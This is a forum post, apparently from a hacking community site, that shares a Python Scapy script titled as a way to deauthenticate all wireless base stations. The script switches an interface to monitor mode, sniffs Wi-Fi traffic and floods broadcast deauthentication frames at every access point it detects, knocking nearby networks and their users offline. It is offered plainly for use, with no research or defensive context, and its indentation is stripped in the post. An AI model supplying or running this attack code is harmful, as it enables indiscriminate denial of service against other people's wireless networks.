• 🌙 Community Spirit

    Ramadan Mubarak! To honor this month, Crax has paused NSFW categories. Wishing you peace and growth!

python script for deauthauthentication all base station of wireless (1 Viewer)

Currently reading:
 python script for deauthauthentication all base station of wireless (1 Viewer)

Recently searched:

yohilax951

Member
LV
1
Joined
Dec 20, 2023
Threads
62
Likes
32
Awards
5
Credits
3,814©
Cash
0$
from scapy.all import *
import os

interface = "wlan0"
print("Deauthenticating all base stations")
os.system("iwconfig " + interface + " mode monitor")
def deauth_all(packet):
if packet.haslayer(Dot11):
if packet.addr2 not in base_stations:
base_stations.add(packet.addr2)
print("Deauthenticating " + packet.addr2)
packet = Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=packet.addr2, addr3=packet.addr3)/Dot11Deauth()
sendp(packet, iface=interface, count=100, verbose=0)

base_stations = set()
sniff(iface=interface, prn=deauth_all)
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Recently searched:

Users who are viewing this thread

Top Bottom